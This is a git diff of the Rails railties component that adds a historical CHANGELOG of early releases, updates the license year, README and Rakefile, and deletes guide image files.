+* Allow the --toggle-spin switch on process/reaper to be negated
+
+* Replace render_partial with render :partial in scaffold generator *Nicholas Seckar*
+
+* Added -w flag to ps in process/reaper #1934 *Scott Barron*
+
+* Allow ERb in the database.yml file (just like with fixtures), so you can pull out the database configuration in environment variables #1822 *Duane Johnson*
+
+* Added convenience controls for FCGI processes (especially when managed remotely): spinner, spawner, and reaper. They reside in script/process. More details can be had by calling them with -h/--help.
+
+* Added load_fixtures task to the Rakefile, which will load all the fixtures into the database for the current environment #1791 *Marcel Molina Jr.*
+
+* Added an empty robots.txt to public/, so that web servers asking for it won't trigger a dynamic call, like favicon.ico #1738 *Michael Schubert*
+
+* Dropped the 'immediate close-down' of FCGI processes since it didn't work consistently and produced bad responses when it didn't. So now a TERM ensures exit after the next request (just as if the process is handling a request when it receives the signal). This means that you'll have to 'nudge' all FCGI processes with a request in order to ensure that they have all reloaded. This can be done by something like ./script/process/repear --nudge 'http://www.myapp.com' --instances 10, which will load the myapp site 10 times (and thus hit all of the 10 FCGI processes once, enough to shut down).
+
+
+## 0.13.1 (11 July, 2005) ##
+
+* Look for app-specific generators in RAILS_ROOT/generators rather than the clunky old RAILS_ROOT/script/generators. Nobody really uses this feature except for the unit tests, so it's a negligible-impact change. If you want to work with third-party generators, drop them in ~/.rails/generators or simply install gems.
+
+* Fixed that each request with the WEBrick adapter would open a new database connection #1685 *Sam Stephenson*
+
+* Added support for SQL Server in the database rake tasks #1652 [Ken Barker] Note: osql and scptxfr may need to be installed on your development environment. This involves getting the .exes and a .rll (scptxfr) from a production SQL Server (not developer level SQL Server). Add their location to your Environment PATH and you are all set.
+
+* Added a VERSION parameter to the migrate task that allows you to do "rake migrate VERSION=34" to migrate to the 34th version traveling up or down depending on the current version
+
+* Extend Ruby version check to include RUBY_RELEASE_DATE >= '2005-12-25', the final Ruby 1.8.2 release #1674 *court3nay*
+
+* Improved documentation for environment config files #1625 *court3nay*
+
+
+## 0.13.0 (6 July, 2005) ##
+
+* Changed the default logging level in config/environment.rb to INFO for production (so SQL statements won't be logged)
+
+* Added migration generator: ./script/generate migration add_system_settings
+
+* Added "migrate" as rake task to execute all the pending migrations from db/migrate
+
+* Fixed that model generator would make fixtures plural, even if ActiveRecord::Base.pluralize_table_names was false #1185 *Marcel Molina Jr.*
+
+* Added a DOCTYPE of HTML transitional to the HTML files generated by Rails #1124 *Michael Koziarski*
+
+* SIGTERM also gracefully exits dispatch.fcgi. Ignore SIGUSR1 on Windows.
+
+* Add the option to manually manage garbage collection in the FastCGI dispatcher. Set the number of requests between GC runs in your public/dispatch.fcgi *Stefan Kaes*
+
+* Allow dynamic application reloading for dispatch.fcgi processes by sending a SIGHUP. If the process is currently handling a request, the request will be allowed to complete first. This allows production fcgi's to be reloaded without having to restart them.
+
+* RailsFCGIHandler (dispatch.fcgi) no longer tries to explicitly flush $stdout (CgiProcess#out always calls flush)
+
+* Fixed rakefile actions against PostgreSQL when the password is all numeric #1462 *Michael Schubert*
+
+* ActionMailer::Base subclasses are reloaded with the other rails components #1262
+
+* Made the WEBrick adapter not use a mutex around action performance if ActionController::Base.allow_concurrency is true (default is false)
+
+* Fixed that mailer generator generated fixtures/plural while units expected fixtures/singular #1457 *Scott Barron*
+
+* Added a 'whiny nil' that's aim to ensure that when users pass nil to methods where that isn't appropriate, instead of NoMethodError? and the name of some method used by the framework users will see a message explaining what type of object was expected. Only active in test and development environments by default #1209 *Michael Koziarski*
+
+* Fixed the test_helper.rb to be safe for requiring controllers from multiple spots, like app/controllers/article_controller.rb and app/controllers/admin/article_controller.rb, without reloading the environment twice #1390 *Nicholas Seckar*
+
+* Fixed Webrick to escape + characters in URL's the same way that lighttpd and apache do #1397 *Nicholas Seckar*
+
+* Added -e/--environment option to script/runner #1408 *François Beausoleil*
+
+* Modernize the scaffold generator to use the simplified render and test methods and to change style from @params["id"] to params[:id]. #1367
+
+* Added graceful exit from pressing CTRL-C during the run of the rails command #1150 *Caleb Tennis*
+
+* Allow graceful exits for dispatch.fcgi processes by sending a SIGUSR1. If the process is currently handling a request, the request will be allowed to complete and then will terminate itself. If a request is not being handled, the process is terminated immediately (via #exit). This basically works like restart graceful on Apache. *Jamis Buck*
+
+* Made dispatch.fcgi more robust by catching fluke errors and retrying unless its a permanent condition. *Jamis Buck*
+
+* Added console --profile for profiling an IRB session #1154 *Jeremy Kemper*
+
+* Changed console_sandbox into console --sandbox #1154 *Jeremy Kemper*
+
+
+## 0.12.1 (20th April, 2005) ##
+
+* Upgraded to Active Record 1.10.1, Action Pack 1.8.1, Action Mailer 0.9.1, Action Web Service 0.7.1
+
+
+## 0.12.0 (19th April, 2005) ##
+
+* Fixed that purge_test_database would use database settings from the development environment when recreating the test database #1122 *rails@cogentdude.com*
+
+* Added script/benchmarker to easily benchmark one or more statement a number of times from within the environment. Examples:
+
+ # runs the one statement 10 times
+ script/benchmarker 10 'Person.expensive_method(10)'
+
+ # pits the two statements against each other with 50 runs each
+ script/benchmarker 50 'Person.expensive_method(10)' 'Person.cheap_method(10)'
+
+* Added script/profiler to easily profile a single statement from within the environment. Examples:
+
+ script/profiler 'Person.expensive_method(10)'
+ script/profiler 'Person.expensive_method(10)' 10 # runs the statement 10 times
+
+* Added Rake target clear_logs that'll truncate all the *.log files in log/ to zero #1079 *Lucas Carlson*
+
+* Added lazy typing for generate, such that ./script/generate cn == ./script/generate controller and the likes #1051 *k@v2studio.com*
+
+* Fixed that ownership is brought over in pg_dump during tests for PostgreSQL #1060 *pburleson*
+
+* Upgraded to Active Record 1.10.0, Action Pack 1.8.0, Action Mailer 0.9.0, Action Web Service 0.7.0, Active Support 1.0.4
+
+
+## 0.11.1 (27th March, 2005) ##
+
+* Fixed the dispatch.fcgi use of a logger
+
+* Upgraded to Active Record 1.9.1, Action Pack 1.7.0, Action Mailer 0.8.1, Action Web Service 0.6.2, Active Support 1.0.3
+
+
+## 0.11.0 (22th March, 2005) ##
+
+* Removed SCRIPT_NAME from the WEBrick environment to prevent conflicts with PATH_INFO #896 *Nicholas Seckar*
+
+* Removed ?$1 from the dispatch.f/cgi redirect line to get rid of 'complete/path/from/request.html' => nil being in the @params now that the ENV["REQUEST_URI"] is used to determine the path #895 *dblack/Nicholas Seckar*
+
+* Added additional error handling to the FastCGI dispatcher to catch even errors taking down the entire process
+
+* Improved the generated scaffold code a lot to take advantage of recent Rails developments #882 *Tobias Lütke*
+
+* Combined the script/environment.rb used for gems and regular files version. If vendor/rails/* has all the frameworks, then files version is used, otherwise gems #878 *Nicholas Seckar*
+
+* Changed .htaccess to allow dispatch.* to be called from a sub-directory as part of the push with Action Pack to make Rails work on non-vhost setups #826 *Nicholas Seckar/Tobias Lütke*
+
+* Added script/runner which can be used to run code inside the environment by eval'ing the first parameter. Examples:
+
+ ./script/runner 'ReminderService.deliver'
+ ./script/runner 'Mailer.receive(STDIN.read)'
+
+ This makes it easier to do CRON and postfix scripts without actually making a script just to trigger 1 line of code.
+
+* Fixed webrick_server cookie handling to allow multiple cookes to be set at once #800, #813 *dave@cherryville.org*
+
+* Fixed the Rakefile's interaction with postgresql to:
+
+ 1. Use PGPASSWORD and PGHOST in the environment to fix prompting for
+ passwords when connecting to a remote db and local socket connections.
+ 2. Add a '-x' flag to pg_dump which stops it dumping privileges #807 [rasputnik]
+ 3. Quote the user name and use template0 when dumping so the functions doesn't get dumped too #855 [pburleson]
+ 4. Use the port if available #875 [madrobby]
+
+* Upgraded to Active Record 1.9.0, Action Pack 1.6.0, Action Mailer 0.8.0, Action Web Service 0.6.1, Active Support 1.0.2
+
+
+## 0.10.1 (7th March, 2005) ##
+
+* Fixed rake stats to ignore editor backup files like model.rb~ #791 *Sebastian Kanthak*
+
+* Added exception shallowing if the DRb server can't be started (not worth making a fuss about to distract new users) #779 *Tobias Lütke*
+
+* Added an empty favicon.ico file to the public directory of new applications (so the logs are not spammed by its absence)
+
+* Fixed that scaffold generator new template should use local variable instead of instance variable #778 *Dan Peterson*
+
+* Allow unit tests to run on a remote server for PostgreSQL #781 *adamm@galacticasoftware.com*
+
+* Added web_service generator (run ./script/generate web_service for help) #776 *Leon Bredt*
+
+* Added app/apis and components to code statistics report #729 *Scott Barron*
+
+* Fixed WEBrick server to use ABSOLUTE_RAILS_ROOT instead of working_directory #687 *Nicholas Seckar*
+
+* Fixed rails_generator to be usable without RubyGems #686 *Cristi BALAN*
+
+* Fixed -h/--help for generate and destroy generators #331
+
+* Added begin/rescue around the FCGI dispatcher so no uncaught exceptions can bubble up to kill the process (logs to log/fastcgi.crash.log)
+
+* Fixed that association#count would produce invalid sql when called sequentialy #659 *kanis@comcard.de*
+
+* Fixed test/mocks/testing to the correct test/mocks/test #740
+
+* Added early failure if the Ruby version isn't 1.8.2 or above #735
+
+* Removed the obsolete -i/--index option from the WEBrick servlet #743
+
+* Upgraded to Active Record 1.8.0, Action Pack 1.5.1, Action Mailer 0.7.1, Action Web Service 0.6.0, Active Support 1.0.1
+
+
+## 0.10.0 (24th February, 2005) ##
+
+* Changed default IP binding for WEBrick from 127.0.0.1 to 0.0.0.0 so that the server is accessible both locally and remotely #696 *Marcel Molina Jr.*
+
+* Fixed that script/server -d was broken so daemon mode couldn't be used #687 *Nicholas Seckar*
+
+* Upgraded to breakpoint 92 which fixes:
+
+ * overload IRB.parse_opts(), fixes #443
+ => breakpoints in tests work even when running them via rake
+ * untaint handlers, might fix an issue discussed on the Rails ML
+ * added verbose mode to breakpoint_client
+ * less noise caused by breakpoint_client by default
+ * ignored TerminateLineInput exception in signal handler
+ => quiet exit on Ctrl-C
+
+* Added support for independent components residing in /components. Example:
+
+ Controller: components/list/items_controller.rb
+ (holds a List::ItemsController class with uses_component_template_root called)
+
+ Model : components/list/item.rb
+ (namespace is still shared, so an Item model in app/models will take precedence)
+
+ Views : components/list/items/show.rhtml
+
+
+* Added --sandbox option to script/console that'll roll back all changes made to the database when you quit #672 *Jeremy Kemper*
+
+* Added 'recent' as a rake target that'll run tests for files that changed in the last 10 minutes #612 *Jeremy Kemper*
+
+* Changed script/console to default to development environment and drop --no-inspect #650 *Jeremy Kemper*
+
+* Added that the 'fixture :posts' syntax can be used for has_and_belongs_to_many fixtures where a model doesn't exist #572 *Jeremy Kemper*
+
+* Added that running test_units and test_functional now performs the clone_structure_to_test as well #566 *rasputnik*
+
+* Added new generator framework that informs about its doings on generation and enables updating and destruction of generated artifacts. See the new script/destroy and script/update for more details #487 *Jeremy Kemper*
+
+* Added Action Web Service as a new add-on framework for Action Pack *Leon Bredt*
+
+* Added Active Support as an independent utility and standard library extension bundle
+
+* Upgraded to Active Record 1.7.0, Action Pack 1.5.0, Action Mailer 0.7.0
+
+
+## 0.9.5 (January 25th, 2005) ##
+
+* Fixed dependency reloading by switching to a remove_const approach where all Active Records, Active Record Observers, and Action Controllers are reloading by undefining their classes. This enables you to remove methods in all three types and see the change reflected immediately and it fixes #539. This also means that only those three types of classes will benefit from the const_missing and reloading approach. If you want other classes (like some in lib/) to reload, you must use require_dependency to do it.
+
+* Added Florian Gross' latest version of Breakpointer and friends that fixes a variaty of bugs #441 *Florian Gross*
+
+* Fixed skeleton Rakefile to work with sqlite3 out of the box #521 *rasputnik*
+
+* Fixed that script/breakpointer didn't get the Ruby path rewritten as the other scripts #523 *brandt@kurowski.net*
+
+* Fixed handling of syntax errors in models that had already been succesfully required once in the current interpreter
+
+* Fixed that models that weren't referenced in associations weren't being reloaded in the development mode by reinstating the reload
+
+* Fixed that generate scaffold would produce bad functional tests
+
+* Fixed that FCGI can also display SyntaxErrors
+
+* Upgraded to Active Record 1.6.0, Action Pack 1.4.0
+
+
+## 0.9.4.1 (January 18th, 2005) ##
+
+* Added 5-second timeout to WordNet alternatives on creating reserved-word models #501 *Marcel Molina Jr.*
+
+* Fixed binding of caller #496 *Alexey*
+
+* Upgraded to Active Record 1.5.1, Action Pack 1.3.1, Action Mailer 0.6.1
+
+
+## 0.9.4 (January 17th, 2005) ##
+
+* Added that ApplicationController will catch a ControllerNotFound exception if someone attempts to access a url pointing to an unexisting controller *Tobias Lütke*
+
+* Flipped code-to-test ratio around to be more readable #468 *Scott Baron*
+
+* Fixed log file permissions to be 666 instead of 777 (so they're not executable) #471 *Lucas Carlson*
+
+* Fixed that auto reloading would some times not work or would reload the models twice #475 *Tobias Lütke*
+
+* Added rewrite rules to deal with caching to public/.htaccess
+
+* Added the option to specify a controller name to "generate scaffold" and made the default controller name the plural form of the model.
+
+* Added that rake clone_structure_to_test, db_structure_dump, and purge_test_database tasks now pick up the source database to use from
+ RAILS_ENV instead of just forcing development #424 *Tobias Lütke*
+
+* Fixed script/console to work with Windows (that requires the use of irb.bat) #418 *Chris McGrath*
+
+* Fixed WEBrick servlet slowdown over time by restricting the load path reloading to mod_ruby
+
+* Removed Fancy Indexing as a default option on the WEBrick servlet as it made it harder to use various caching schemes
+
+* Upgraded to Active Record 1.5, Action Pack 1.3, Action Mailer 0.6
+
+
+## 0.9.3 (January 4th, 2005) ##
+
+* Added support for SQLite in the auto-dumping/importing of schemas for development -> test #416
+
+* Added automated rewriting of the shebang lines on installs through the gem rails command #379 *Manfred Stienstra*
+
+* Added ActionMailer::Base.deliver_method = :test to the test environment so that mail objects are available in ActionMailer::Base.deliveries
+ for functional testing.
+
+* Added protection for creating a model through the generators with a name of an existing class, like Thread or Date.
+ It'll even offer you a synonym using wordnet.princeton.edu as a look-up. No, I'm not kidding :) *Florian Gross*
+
+* Fixed dependency management to happen in a unified fashion for Active Record and Action Pack using the new Dependencies module. This means that
+ the environment options needs to change from:
+
+ Before in development.rb:
+ ActionController::Base.reload_dependencies = true  
+ ActiveRecord::Base.reload_associations     = true
+
+ Now in development.rb:
+ Dependencies.mechanism = :load
+
+ Before in production.rb and test.rb:
+ ActionController::Base.reload_dependencies = false
+ ActiveRecord::Base.reload_associations     = false
+
+ Now in production.rb and test.rb:
+ Dependencies.mechanism = :require
+
+* Fixed problems with dependency caching and controller hierarchies on Ruby 1.8.2 in development mode #351
+
+* Fixed that generated action_mailers doesnt need to require the action_mailer since thats already done in the environment #382 *Lucas Carlson*
+
+* Upgraded to Action Pack 1.2.0 and Active Record 1.4.0
+
+
+## 0.9.2 ##
+
+* Fixed CTRL-C exists from the Breakpointer to be a clean affair without error dumping *Kent Sibilev*
+
+* Fixed "rake stats" to work with sub-directories in models and controllers and to report the code to test ration *Scott Baron*
+
+* Added that Active Record associations are now reloaded instead of cleared to work with the new const_missing hook in Active Record.
+
+* Added graceful handling of an inaccessible log file by redirecting output to STDERR with a warning #330 *rainmkr*
+
+* Added support for a -h/--help parameter in the generator #331 *Ulysses*
+
+* Fixed that File.expand_path in config/environment.rb would fail when dealing with symlinked public directories *mjobin*
+
+* Upgraded to Action Pack 1.1.0 and Active Record 1.3.0
+
+
+## 0.9.1 ##
+
+* Upgraded to Action Pack 1.0.1 for important bug fix
+
+* Updated gem dependencies
+
+
+## 0.9.0 ##
+
+* Renamed public/dispatch.servlet to script/server -- it wasn't really dispatching anyway as its delegating calls to public/dispatch.rb
+
+* Renamed AbstractApplicationController and abstract_application.rb to ApplicationController and application.rb, so that it will be possible
+ for the framework to automatically pick up on app/views/layouts/application.rhtml and app/helpers/application.rb
+
+* Added script/console that makes it even easier to start an IRB session for interacting with the domain model. Run with no-args to
+ see help.
+
+* Added breakpoint support through the script/breakpointer client. This means that you can break out of execution at any point in
+ the code, investigate and change the model, AND then resume execution! Example:
+
+ class WeblogController < ActionController::Base
+ def index
+ @posts = Post.find_all
+ breakpoint "Breaking out from the list"
+ end
+ end
+
+ So the controller will accept the action, run the first line, then present you with a IRB prompt in the breakpointer window.
+ Here you can do things like:
+
+ Executing breakpoint "Breaking out from the list" at .../webrick_server.rb:16 in 'breakpoint'
+
+ >> @posts.inspect
+ => "[#<Post:0x14a6be8 @attributes={\"title\"=>nil, \"body\"=>nil, \"id\"=>\"1\"}>,
+ #<Post:0x14a6620 @attributes={\"title\"=>\"Rails you know!\", \"body\"=>\"Only ten..\", \"id\"=>\"2\"}>]"
+ >> @posts.first.title = "hello from a breakpoint"
+ => "hello from a breakpoint"
+
+ ...and even better is that you can examine how your runtime objects actually work:
+
+ >> f = @posts.first
+ => #<Post:0x13630c4 @attributes={"title"=>nil, "body"=>nil, "id"=>"1"}>
+ >> f.
+ Display all 152 possibilities? (y or n)
+
+ Finally, when you're ready to resume execution, you press CTRL-D
+
+* Changed environments to be configurable through an environment variable. By default, the environment is "development", but you
+ can change that and set your own by configuring the Apache vhost with a string like (mod_env must be available on the server):
+
+ SetEnv RAILS_ENV production
+
+ ...if you're using WEBrick, you can pick the environment to use with the command-line parameters -e/--environment, like this:
+
+ ruby public/dispatcher.servlet -e production
+
+* Added a new default environment called "development", which leaves the production environment to be tuned exclusively for that.
+
+* Added a start_server in the root of the Rails application to make it even easier to get started
+
+* Fixed public/.htaccess to use RewriteBase and share the same rewrite rules for all the dispatch methods
+
+* Fixed webrick_server to handle requests in a serialized manner (the Rails reloading infrastructure is not thread-safe)
+
+* Added support for controllers in directories. So you can have:
+
+ app/controllers/account_controller.rb # URL: /account/
+ app/controllers/admin/account_controller.rb # URL: /admin/account/
+
+ NOTE: You need to update your public/.htaccess with the new rules to pick it up
+
+* Added reloading for associations and dependencies under cached environments like FastCGI and mod_ruby. This makes it possible to use
+ those environments for development. This is turned on by default, but can be turned off with
+ ActiveRecord::Base.reload_associations = false and ActionController::Base.reload_dependencies = false in production environments.
+
+* Added support for sub-directories in app/models. So now you can have something like Basecamp with:
+
+ app/models/accounting
+ app/models/project
+ app/models/participants
+ app/models/settings
+
+ It's poor man's namespacing, but only for file-system organization. You still require files just like before.
+ Nothing changes inside the files themselves.
+
+
+* Fixed a few references in the tests generated by new_mailer *Jeremy Kemper*
+
+* Added support for mocks in testing with test/mocks
+
+* Cleaned up the environments a bit and added global constant RAILS_ROOT
+
+
+## 0.8.5 (9) ##
+
+* Made dev-util available to all tests, so you can insert breakpoints in any test case to get an IRB prompt at that point [Jeremy Kemper]:
+
+ def test_complex_stuff
+ @david.projects << @new_project
+ breakpoint "Let's have a closer look at @david"
+ end
+
+ You need to install dev-utils yourself for this to work ("gem install dev-util").
+
+* Added shared generator behavior so future upgrades should be possible without manually copying over files *Jeremy Kemper*
+
+* Added the new helper style to both controller and helper templates *Jeremy Kemper*
+
+* Added new_crud generator for creating a model and controller at the same time with explicit scaffolding *Jeremy Kemper*
+
+* Added configuration of Test::Unit::TestCase.fixture_path to test_helper to concide with the new AR fixtures style
+
+* Fixed that new_model was generating singular table/fixture names
+
+* Upgraded to Action Mailer 0.4.0
+
+* Upgraded to Action Pack 0.9.5
+
+* Upgraded to Active Record 1.1.0
+
+
+## 0.8.0 (15) ##
+
+* Removed custom_table_name option for new_model now that the Inflector is as powerful as it is
+
+* Changed the default rake action to just do testing and separate API generation and coding statistics into a "doc" task.
+
+* Fixed WEBrick dispatcher to handle missing slashes in the URLs gracefully *alexey*
+
+* Added user option for all postgresql tool calls in the rakefile *elvstone*
+
+* Fixed problem with running "ruby public/dispatch.servlet" instead of "cd public; ruby dispatch.servlet" *alexey*
+
+* Fixed WEBrick server so that it no longer hardcodes the ruby interpreter used to "ruby" but will get the one used based
+ on the Ruby runtime configuration. *Marcel Molina Jr.*
+
+* Fixed Dispatcher so it'll route requests to magic_beans to MagicBeansController/magic_beans_controller.rb *Caio Chassot*
+
+* "new_controller MagicBeans" and "new_model SubscriptionPayments" will now both behave properly as they use the new Inflector.
+
+* Fixed problem with MySQL foreign key constraint checks in Rake :clone_production_structure_to_test target *Andreas Schwarz*
+
+* Changed WEBrick server to by default be auto-reloading, which is slower but makes source changes instant.
+ Class compilation cache can be turned on with "-c" or "--cache-classes".
+
+* Added "-b/--binding" option to WEBrick dispatcher to bind the server to a specific IP address (default: 127.0.0.1) *Kevin Temp*
+
+* dispatch.fcgi now DOESN'T set FCGI_PURE_RUBY as it was slowing things down for now reason *Andreas Schwarz*
+
+* Added new_mailer generator to work with Action Mailer
+
+* Included new framework: Action Mailer 0.3
+
+* Upgraded to Action Pack 0.9.0
+
+* Upgraded to Active Record 1.0.0
+
+
+## 0.7.0 ##
+
+* Added an optional second argument to the new_model script that allows the programmer to specify the table name,
+ which will used to generate a custom table_name method in the model and will also be used in the creation of fixtures.
+ *Kevin Radloff*
+
+* script/new_model now turns AccountHolder into account_holder instead of accountholder *Kevin Radloff*
+
+* Fixed the faulty handleing of static files with WEBrick *Andreas Schwarz*
+
+* Unified function_test_helper and unit_test_helper into test_helper
+
+* Fixed bug with the automated production => test database dropping on PostgreSQL *dhawkins*
+
+* create_fixtures in both the functional and unit test helper now turns off the log during fixture generation
+ and can generate more than one fixture at a time. Which makes it possible for assignments like:
+
+ @people, @projects, @project_access, @companies, @accounts =
+ create_fixtures "people", "projects", "project_access", "companies", "accounts"
+
+* Upgraded to Action Pack 0.8.5 (locally-scoped variables, partials, advanced send_file)
+
+* Upgraded to Active Record 0.9.5 (better table_name guessing, cloning, find_all_in_collection)
+
+
+## 0.6.5 ##
+
+* No longer specifies a template for rdoc, so it'll use whatever is default (you can change it in the rakefile)
+
+* The new_model generator will now use the same rules for plural wordings as Active Record
+ (so Category will give categories, not categorys) *Kevin Radloff*
+
+* dispatch.fcgi now sets FCGI_PURE_RUBY to true to ensure that it's the Ruby version that's loaded *danp*
+
+* Made the GEM work with Windows
+
+* Fixed bug where mod_ruby would "forget" the load paths added when switching between controllers
+
+* PostgreSQL are now supported for the automated production => test database dropping *Kevin Radloff*
+
+* Errors thrown by the dispatcher are now properly handled in FCGI.
+
+* Upgraded to Action Pack 0.8.0 (lots and lots and lots of fixes)
+
+* Upgraded to Active Record 0.9.4 (a bunch of fixes)
+
+
+## 0.6.0 ##
+
+* Added AbstractionApplicationController as a superclass for all controllers generated. This class can be used
+ to carry filters and methods that are to be shared by all. It has an accompanying ApplicationHelper that all
+ controllers will also automatically have available.
+
+* Added environments that can be included from any script to get the full Active Record and Action Controller
+ context running. This can be used by maintenance scripts or to interact with the model through IRB. Example:
+
+ require 'config/environments/production'
+
+ for account in Account.find_all
+ account.recalculate_interests
+ end
+
+ A short migration script for an account model that had it's interest calculation strategy changed.
+
+* Accessing the index of a controller with "/weblog" will now redirect to "/weblog/" (only on Apache, not WEBrick)
+
+* Simplified the default Apache config so even remote requests are served off CGI as a default.
+ You'll now have to do something specific to activate mod_ruby and FCGI (like using the force urls).
+ This should make it easier for new comers that start on an external server.
+
+* Added more of the necessary Apache options to .htaccess to make it easier to setup
+
+* Upgraded to Action Pack 0.7.9 (lots of fixes)
+
+* Upgraded to Active Record 0.9.3 (lots of fixes)
+
+
+## 0.5.7 ##
+
+* Fixed bug in the WEBrick dispatcher that prevented it from getting parameters from the URL
+ (through GET requests or otherwise)
+
+* Added lib in root as a place to store app specific libraries
+
+* Added lib and vendor to load_path, so anything store within can be loaded directly.
+ Hence lib/redcloth.rb can be loaded with require "redcloth"
+
+* Upgraded to Action Pack 0.7.8 (lots of fixes)
+
+* Upgraded to Active Record 0.9.2 (minor upgrade)
+
+
+## 0.5.6 ##
+
+* Upgraded to Action Pack 0.7.7 (multipart form fix)
+
+* Updated the generated template stubs to valid XHTML files
+
+* Ensure that controllers generated are capitalized, so "new_controller TodoLists"
+ gives the same as "new_controller Todolists" and "new_controller todolists".
+
+
+## 0.5.5 ##
+
+* Works on Windows out of the box! (Dropped symlinks)
+
+* Added webrick dispatcher: Try "ruby public/dispatch.servlet --help" *Florian Gross*
+
+* Report errors about initialization to browser (instead of attempting to use uninitialized logger)
+
+* Upgraded to Action Pack 0.7.6
+
+* Upgraded to Active Record 0.9.1
+
+* Added distinct 500.html instead of reusing 404.html
+
+* Added MIT license
+
+
+## 0.5.0 ##
+
+* First public release
diff --git a/railties/MIT-LICENSE b/railties/MIT-LICENSE
index c73d1af096..03bde18130 100644
--- a/railties/MIT-LICENSE
+++ b/railties/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2011 David Heinemeier Hansson
+Copyright (c) 2004-2012 David Heinemeier Hansson
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
diff --git a/railties/README.rdoc b/railties/README.rdoc
index 95c43045b0..6248b5feed 100644
--- a/railties/README.rdoc
+++ b/railties/README.rdoc
@@ -15,12 +15,23 @@ The latest version of Railties can be installed with RubyGems:
* gem install railties
-Documentation can be found at
-
-* http://api.rubyonrails.org
+Source code can be downloaded as part of the Rails project on GitHub
+* https://github.com/rails/rails/tree/master/railties
== License
-Railties is released under the MIT license.
+Railties is released under the MIT license:
+
+* http://www.opensource.org/licenses/MIT
+
+== Support
+
+API documentation is at
+
+* http://api.rubyonrails.org
+
+Bug reports and feature requests can be filed with the rest for the Ruby on Rails project here:
+
+* https://github.com/rails/rails/issues
diff --git a/railties/Rakefile b/railties/Rakefile
index 25e515e016..993ba840ff 100755..100644
--- a/railties/Rakefile
+++ b/railties/Rakefile
@@ -1,4 +1,3 @@
-#!/usr/bin/env rake
require 'rake/testtask'
require 'rubygems/package_task'
@@ -21,7 +20,8 @@ namespace :test do
'test',
'lib',
"#{File.dirname(__FILE__)}/../activesupport/lib",
- "#{File.dirname(__FILE__)}/../actionpack/lib"
+ "#{File.dirname(__FILE__)}/../actionpack/lib",
+ "#{File.dirname(__FILE__)}/../activemodel/lib"
]
ruby "-I#{dash_i.join ':'}", file
end
@@ -44,18 +44,6 @@ task :update_readme do
cp "./README.rdoc", readme
end
-desc 'Generate guides (for authors), use ONLY=foo to process just "foo.textile"'
-task :generate_guides do
- ENV["WARN_BROKEN_LINKS"] = "1" # authors can't disable this
- ruby "guides/rails_guides.rb"
-end
-
-# Validate guides -------------------------------------------------------------------------
-desc 'Validate guides, use ONLY=foo to process just "foo.html"'
-task :validate_guides do
- ruby "guides/w3c_validator.rb"
-end
-
# Generate GEM ----------------------------------------------------------------------------
spec = eval(File.read('railties.gemspec'))
@@ -72,12 +60,3 @@ task :release => :package do
Rake::Gemcutter::Tasks.new(spec).define
Rake::Task['gem:push'].invoke
end
-
-desc "Publish the guides"
-task :pguides => :generate_guides do
- require 'rake/contrib/sshpublisher'
- mkdir_p 'pkg'
- `tar -czf pkg/guides.gz guides/output`
- Rake::SshFilePublisher.new("web.rubyonrails.org", "/u/sites/guides.rubyonrails.org/public", "pkg", "guides.gz").upload
- `ssh web.rubyonrails.org 'cd /u/sites/guides.rubyonrails.org/public/ && tar -xvzf guides.gz && mv guides/output/* . && rm -rf guides*'`
-end
diff --git a/railties/guides/assets/images/belongs_to.png b/railties/guides/assets/images/belongs_to.png
deleted file mode 100644
index 44243edbca..0000000000
--- a/railties/guides/assets/images/belongs_to.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/book_icon.gif b/railties/guides/assets/images/book_icon.gif
deleted file mode 100644
index c81d5db520..0000000000
--- a/railties/guides/assets/images/book_icon.gif
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/bullet.gif b/railties/guides/assets/images/bullet.gif
deleted file mode 100644
index 95a26364a4..0000000000
--- a/railties/guides/assets/images/bullet.gif
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/challenge.png b/railties/guides/assets/images/challenge.png
deleted file mode 100644
index d163748640..0000000000
--- a/railties/guides/assets/images/challenge.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/chapters_icon.gif b/railties/guides/assets/images/chapters_icon.gif
deleted file mode 100644
index 06fb415f4a..0000000000
--- a/railties/guides/assets/images/chapters_icon.gif
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/check_bullet.gif b/railties/guides/assets/images/check_bullet.gif
deleted file mode 100644
index 1fcfeba250..0000000000
--- a/railties/guides/assets/images/check_bullet.gif
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/credits_pic_blank.gif b/railties/guides/assets/images/credits_pic_blank.gif
deleted file mode 100644
index f6f654fc65..0000000000
--- a/railties/guides/assets/images/credits_pic_blank.gif
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/csrf.png b/railties/guides/assets/images/csrf.png
deleted file mode 100644
index ab73baafe8..0000000000
--- a/railties/guides/assets/images/csrf.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/customized_error_messages.png b/railties/guides/assets/images/customized_error_messages.png
deleted file mode 100644
index fa676991e3..0000000000
--- a/railties/guides/assets/images/customized_error_messages.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/edge_badge.png b/railties/guides/assets/images/edge_badge.png
deleted file mode 100644
index cddd46c4b8..0000000000
--- a/railties/guides/assets/images/edge_badge.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/error_messages.png b/railties/guides/assets/images/error_messages.png
deleted file mode 100644
index 428892194a..0000000000
--- a/railties/guides/assets/images/error_messages.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/feature_tile.gif b/railties/guides/assets/images/feature_tile.gif
deleted file mode 100644
index 75469361db..0000000000
--- a/railties/guides/assets/images/feature_tile.gif
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/footer_tile.gif b/railties/guides/assets/images/footer_tile.gif
deleted file mode 100644
index bb33fc1ff0..0000000000
--- a/railties/guides/assets/images/footer_tile.gif
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/fxn.png b/railties/guides/assets/images/fxn.png
deleted file mode 100644
index 9b531ee584..0000000000
--- a/railties/guides/assets/images/fxn.png
+++ /dev/null
Binary files differ
diff --git a/railties/guides/assets/images/grey_bullet.gif b/railties/guides/assets/images/grey_bullet.gif
deleted file mode 100644
index e75e8e93a1..0000000000
--- a/railties/guides/assets/images/grey_bullet.gif
+++ /dev/null
Binary files differ
